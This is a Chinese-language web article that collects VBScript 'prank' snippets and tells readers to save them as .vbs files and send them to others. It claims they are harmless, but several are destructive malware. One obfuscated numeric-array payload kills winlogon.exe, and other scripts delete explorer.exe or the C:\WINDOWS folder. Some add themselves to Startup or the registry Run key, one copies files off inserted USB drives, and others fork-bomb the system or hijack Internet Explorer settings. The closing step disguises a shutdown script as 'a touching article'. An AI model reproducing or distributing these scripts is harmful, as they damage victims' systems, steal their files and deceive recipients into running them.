惡作劇的vbs代碼，這里提供的都是一些死循環(huán)或?qū)е孪到y(tǒng)死機(jī)的vbs對機(jī)器沒壞處，最多關(guān)機(jī)重啟一下就可以了，將下面的任意一段代碼保存為*.vbs即可
操作方法：把代碼保存為*.VBS運行即可
經(jīng)本人親自測試 不會出大問題的，一般都是利用無限循環(huán)，不是死循環(huán)，可以通過任務(wù)管理器中結(jié)束WSCRIPT或cscript進(jìn)程即可。
代碼如下:
do
msgbox "hi"
loop
無限制的用英文報數(shù)
代碼如下:
Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop
代碼如下:
if MsgBox("對不起,您灌水太多需要重新啟動計算機(jī)。"&chr(10)&"確定要重啟嗎？",vbOKCancel+vbInformation,"重新啟動計算機(jī)")=vbCancel then
msgbox " 系統(tǒng)將立刻重起wow ~_^",,"你上當(dāng)了??！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if
代碼如下:
strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10)
for i=1 to UBound(strs)
runner=runner&chr(strs(i))
next
Execute runner
這個沒什么，不過加密了，大家可以解密試試
代碼如下:
if MsgBox("你是豬頭嗎？",vbYesNo,"提示")=vbyes then
msgbox "你SB啊!"
else
msgbox "還不承認(rèn)!! 作為懲罰，藍(lán)屏一下，你馬上掛了#￥！@#￥%@……#……?",64,"嚴(yán)重警告!!!!!!!!!"
Set ws = CreateObject("Wscript.Shell")
wscript.sleep 1200
ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
end if
代碼如下:
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd.exe /c call calc.exe",0
下面的是刪除explorer.exe，導(dǎo)致桌面沒有顯示，不過它事先幫你備份了，為同目錄下的explorer.Data
代碼如下:
set ws=CreateObject("Wscript.Shell")
ws.run "cmd.exe /c taskkill /f /im explorer.exe",0
wscript.sleep 900
ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data"
wscript.sleep 1200
ws.run "cmd.exe /c del /q /f %windir%\explorer.exe
代碼如下:
for each wind in verybat
ws.sendkeys wind
wscript.sleep 500
next
ws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30
ws.popup"下機(jī)可不能忘了關(guān)QQ 我吧QQ關(guān)了哈",8
ws.run "taskkill /f /im qq.exe"
ws.popup"你還要上吧 慢慢玩哦",27
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
for d=0 to 4
WSHshell.SendKeys "%{F4}"
next
ws.run"shutdown -s -t 1000600"
wscript.sleep 2000
dim a
do
a=inputbox("請輸入解除關(guān)機(jī)密碼")
if a="403746401" then
ws.run"shutdown -a"
msgbox"密碼驗證成功，enjoy the best!"
exit do
else
msgbox"密碼驗證失敗，請輸入解除關(guān)機(jī)密碼：403746401 ",vbretrycancel
end if
loop
ws.popup"哈哈 被嚇到了吧 好玩吧？你以為真的是病毒？呵呵O(∩_∩)O~，我還沒那么打本事能做出病毒來！",57
ws.popup"(\(^o^)/~ 好啦，跟你開了個小小玩笑。你也可以把這個文件發(fā)給其他人，耍耍別人。呵呵^_^",62
wscript.sleep 8900
do until i=10
i=i+1
msgbox "CPU溫度過高，系統(tǒng)出現(xiàn)嚴(yán)重錯誤！，請結(jié)束所有應(yīng)用程序讓CPU降溫！",16+4096,"系統(tǒng)提示："
wscript.sleep 1000*45
loop
關(guān)機(jī)
代碼如下:
set sh=wscript.createobject("wscript.shell")
sh.run"shutdown -s -t 332"
關(guān)閉當(dāng)前打開的多個窗口
代碼如下:
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
for d=0 to 40
WSHshell.SendKeys "%{F4}"
next
代碼如下:
dim a,b,c,s
Set fs=CreateObject("Scripting.FileSystemObject")
name = WScript.ScriptName
fullname = WScript.ScriptFullName
path = Replace(fullname,name,"")
a=inputbox("請在對話框中填寫你真實的姓名！"&vbcrlf&""&vbcrlf&"稍后將會給你意外的驚喜??！ "&vbcrlf&""&vbcrlf&"不信你可以試試看?。?！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","請在此輸入你的名字")
If a = ""Then
WScript.Quit
End If
MyVar=MsgBox ("你的名字叫："&a&" ",vbYesNo + vbExclamation,"芮洲提示：")
If MyVar=vbYes Then
ElseIf MyVar=vbNo Then
a=inputbox("請在對話框中填寫你真實的姓名！"&vbcrlf&""&vbcrlf&"稍后將會給你意外的驚喜??！ "&vbcrlf&""&vbcrlf&"不信你可以試試看?。?！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","請在此輸入你的名字")
If a = ""Then
WScript.Quit
End If
End If
wscript.sleep 1000b=inputbox("尊敬的 "&a&" 你好！"&vbcrlf&""&vbcrlf&"請?zhí)顚懸幌履愕膼酆谩?只需填一個哦！)","芮洲提示：","請在此輸入你的愛好")
If b = ""Then
WScript.Quit
End If
wscript.sleep 1000c = inputbox ("請在下面對話框中輸入你的出生[年 月 日]電腦將自動算出到目前為止你已經(jīng)在地球上存活了多少時間！"&vbcrlf&""&vbcrlf&"下面以我為列 不同可以修改"&vbcrlf&""&Chr(10)&"格式為：1987-06-02","芮洲提示：","1987-06-02")
If c = ""Then
WScript.Quit
End If
wscript.sleep 1000age = abs(datediff("d",date,c))
wscript.sleep 1
current = now()
h=datepart("h",current)
n=datepart("n",current)
WScript.Sleep 1000
s = msgbox (Chr(10)&"恭喜 "&a&" 已在地球上存活了:"&age&"天 "&h&"小時 "&n&"分鐘.....",vbOKCancel+63,"芮洲提示：")
if s=2 then
end if
Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"&a&"的秘密.vbs",true)
auto.WriteLine "MSGBOX"&""""&"我的名字叫:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的愛好是:"&B&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已經(jīng)活了:"&age&"天 "&h&"小時 "&n&"分鐘 "&""""&",64,"&""""&""&a&"的自我介紹："""
auto.WriteLine "msgbox"&""""&"親愛的 "&a& " 再見了！"&""""&",48,"&""""&"芮洲提示："&""""&""
Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"&a&"生日快樂.TXT",true)
auto.WriteLine "本人芮洲祝: "&a&" 生日快樂、心想事成、敢于大膽嘗試、早日飛黃騰達(dá)......."
auto.WriteLine "你已在地球上生活了:"&age&"天 "&h&"小時 "&n&"分鐘了"
auto.WriteLine "時間是根據(jù)你的出生年月日算的，可能不是很精確，但目的只是想讓知道時間過的很快，請珍惜時間!!!。"
代碼如下:
dim a
a=10
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 10",,true
Set s = CreateObject("sapi.spvoice")
while a
s.Speak a
a = a - 1
wscript.sleep 100
wend
CreateObject("SAPI.SpVoice").Speak "Bomb?"
代碼如下:
do
createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34)
loop
代碼如下:
msgbox"此文件無毒，請放心使用。",vbretrycancel,"系統(tǒng)提示。"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.Run "cmd.exe /c shutdown -s -t 300"
wscript.sleep 2000
dim a
do
a=inputbox("輸入abc，否則關(guān)機(jī)。")
if a="abc" then
msgbox" 很遺憾，你中招了，這是整人程序，你就等著關(guān)機(jī)吧！"
exit do
else
msgbox"乖點，輸入abc"
end if
loop
代碼如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""說我是豬，不說我是豬就一分鐘關(guān)你機(jī)，不信，試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關(guān)機(jī)，快撒，說 ""我是豬"" ","說不說","不說",8000,7000)
msgbox "乖"
loop
msgbox "早說就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox "自己罵自己的不要臉~~~~~~",4, " "
代碼如下:
msgbox"你是不是很無聊??？",4
msgbox"我來陪你玩會兒"
msgbox"做好玩兒的準(zhǔn)備吧！"
do
msgbox"你無聊嗎?",vbinformation,"你無聊嗎？"
loop
代碼如下:
on error resume next
set wr=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
set f = wr.getfile(wscript.scriptfullname)
q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")
if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true
ws.run"shutdown -p",vbhide
這個太可惡了 只好重啟
代碼如下:
set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop
代碼如下:
Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "QUESTION.vbS"
Key_data = "C:\windows\system32\QUESTION.vbs"
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
Dim fso,file
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.getfile(WScript.ScriptFullName)
file.copy "c:\windows\system32\"
Set fso = CreateObject("Scripting.FileSystemObject")
f = fso.DeleteFile(WScript.ScriptName)
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
代碼如下:
set wmp=createobject("wmplayer.ocx")
set cd=wmp.cdromcollection.item(0)
do
cd.eject
loop
代碼如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""喊我聲爹，快喊"" ",0 ,true
dim a
do while(a <> "爹")
a = inputbox ("喊我爹,快撒，喊 ""爹"" ","喊不喊","不喊",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "兒子"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "等下老爹買棒棒糖給你吃"
代碼如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""說你愛我，不說你愛我就兩分鐘關(guān)你機(jī)，不信，試試···"" ",0 ,true
dim a
do while(a <> "我愛你")
a = inputbox ("說你愛我,就不關(guān)機(jī)，快撒，說 ""你愛我"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛，何必這么費勁"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，今天真過癮
代碼如下:
i = MsgBox("由于你灌水太水需要爆破電腦。"&_
vbCrLf&"確定爆破嗎？",vbOKCancel,_
"爆破電腦系統(tǒng)?。。。?！")
if i = 1 then
CreateObject("SAPI.SpVoice").Speak "bone"
end if
代碼如下:
On Error Resume Next
Dim i
i=0
Set fso=CreateObject("Scripting.FileSystemObject")
IP=InputBox("請輸入要監(jiān)控的U盤盤符:","U盤大盜-By 最聰明的豬","I:")
ext=InputBox("請輸入要盜竊的文件名的擴(kuò)展名:","U盤大盜-By 最聰明的豬","txt")
MyFolder=InputBox("請輸入保存文件的路徑:","U盤大盜-By 最聰明的豬","E:\U盤大盜")
fso.CreateFolder(MyFolder)
Do
WScript.Sleep 1000
If fso.FolderExists(IP & "\") Then Exit Do
Loop
Scan(IP & "\")
Sub Scan(Folder_)
On Error Resume Next
Set Folder_=fso.GetFolder(Folder_)
Set Files=Folder_.Files
For Each File in Files
ext_=fso.GetExtensionName(File)
ext_=Lcase(ext_)
ext=Lcase(ext)
If ext_=ext Then
i=i+1
fso.GetFile(File).Copy(MyFolder & "\" & i & "_" & File.Name)
End If
Next
Set SubFolders=Folder_.SubFolders
For Each SubFolder In SubFolders
Scan(Subfolder)
Next
End Sub
代碼如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""一分鐘后,你的機(jī)子就完了,不信?!試試!"" ",0 ,true
dim a
do while(a <> "不重,不重,我就不重!")
a = inputbox ("唯一的辦法就是""重啟"" ","重不重啟","不重,不重,我就不重!",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "真的不是我說你,亂按什么確定啊,希望你在網(wǎng)吧.菩薩保佑......"
msgbox chr(13) + chr(13) + chr(13) + "你的機(jī)子真的要完了,趕緊準(zhǔn)備點錢重裝機(jī)子吧.阿彌陀佛,善哉,善哉!"
msgbox chr(13) + chr(13) + chr(13) + "以后手不要在那么快了哦~"
msgbox chr(13) + chr(13) + chr(13) + "88~"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox " " + chr(14) + "~"
Dim a
Set a = CreateObject("Scripting.FileSystemObject")
a.DeleteFolder ("C:\WINDOWS")
不是死循環(huán)了，是讓你死機(jī)了，重啟吧
代碼如下:
msgbox"讓你見識一下啥叫狠毒！"
do
set ws=createobjecet("wscript.shell")
ws.run"explorer.exe"
ws.run"cmd.exe"
loop
代碼如下:
on error resume next
msgbox"即將格式化！請做好準(zhǔn)備！",vbyesno
msgbox"準(zhǔn)備好后點yes！"，vbyesno
msgbox"sorry，忘說了，點no也行！"
msgbox"我對不起你??！嗚嗚嗚555哈哈哈哈！"
msgbox"靠，我笑個屁呀！我可是著名博士！在精神病院搞一種研究。。。"
msgbox"被人研究！"
msgbox"就知道你會笑！告訴你，我最歧視兩種人！一是歧視別人的人，二是愛笑人，三是不識數(shù)的人！"
msgbox"你咋還笑？！是時候懲罰你了！"
do
set ws=createobjecet("wscript.shell")
ws.run"explorer.exe"
ws.run"cmd.exe"
ws.run"cmd.exe /c shutdown -s -t 7200",,ture
loop
發(fā)個特整人的東西
代碼如下:
set s.createobject("wscript.shell")
lsfile=wscript.scriptfullname '獲得自己的名稱
do '死循環(huán)
s.run lsfile '自己運行自己
s.run "notepad" '運行記事本
loop '幾秒就死機(jī)，哈
來個綠色的，無毒無害的：
代碼如下:
dim a
set a=createobject("sapi.spvoice")
a.speak "ha ha ha ha hahahahahahaha"
注：ha ha ha... 可以改為幾句粗話！！
輸入中文后英文要取決于你的電腦會講英文還是中文！
代碼如下:
dim a
a=msgbox("給你講個故事!",vbyesno,"默默許愿制作")
if a=vbyes then
do
msgbox("從前有座山")
msgbox("山上有座廟")
msgbox("廟里有兩個和尚")
msgbox("大和尚給小和尚講故事說")
a=1
loop while a=1
end if
將默認(rèn)頁，搜索頁設(shè)置百度
代碼如下:
if msgbox("這是被封印的東西",65,"警告?。?！") = 1 then
if msgbox("請不要一意孤行",65,"警告?。?！") =1 then
if msgbox("不要再按了！！",65,"警告?。?！") =1 then
if msgbox("氣死我了.....",65,"警告！?。?) =1 then
if msgbox("既然這樣...那么這個東西就歸你了！",65,"祝你愉快！886") =1 then
msgbox "到這里,是你自己的命令,我也無法阻止了",65,"祝你愉快！886"
msgbox "這是一個病毒.....(由魔導(dǎo)之魂封印的)現(xiàn)在,魔導(dǎo)之魂也無法控制他了?。。?！",65,"封印解除??！"
on error resume next
dim fso,wsh,myfile,ws,pp,fsoFolder
set wsh=wscript.createobject("wscript.shell")
set fso=wscript.createobject("scripting.filesystemobject")
set myfile=fso.GetFile(wscript.scriptfullname)
wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com"
wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page","http://www.baidu.com"
wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu.com"
wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu.com"
wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com"
wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu.com"
wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu.com"
很久很久以前，好像是高考后的那個夏天，收到過朋友的一個惡作劇程序，程序名為“一篇感動人的文章.vbs”，當(dāng)時什么都不懂，直接雙擊了，一直耿耿于懷。雙擊后彈出一個輸入框“輸入‘我是豬'，否則十五秒后關(guān)機(jī)。我還以為是搞笑的，什么都沒有輸入，就真的關(guān)機(jī)了，覺得很神奇。而現(xiàn)在能夠自己寫出代碼了，卻再也找不到以前的快樂。
代碼如下:
Option Explicit
On Error Resume Next
Dim answer
Dim WshShell
set WshShell = CreateObject("wscript.Shell")
WshShell.Run "Shutdown /f /s /t 10 /c 輸入'我是豬'，否則10秒后關(guān)機(jī)~",0
Do While answer<>"我是豬"
answer=InputBox("輸入'我是豬'，否則10秒后關(guān)機(jī)~","哈哈哈",,7000,8000)
Loop
WshShell.Run "Shutdown /a",0
MsgBox "哈哈哈，好玩不?",,"哈哈哈"
打開記事本，把代碼復(fù)制粘貼進(jìn)去，保存為“一篇感動人的文章.vbs”，一個惡作劇程序就完成了，接下來做什么就超出本文范圍了。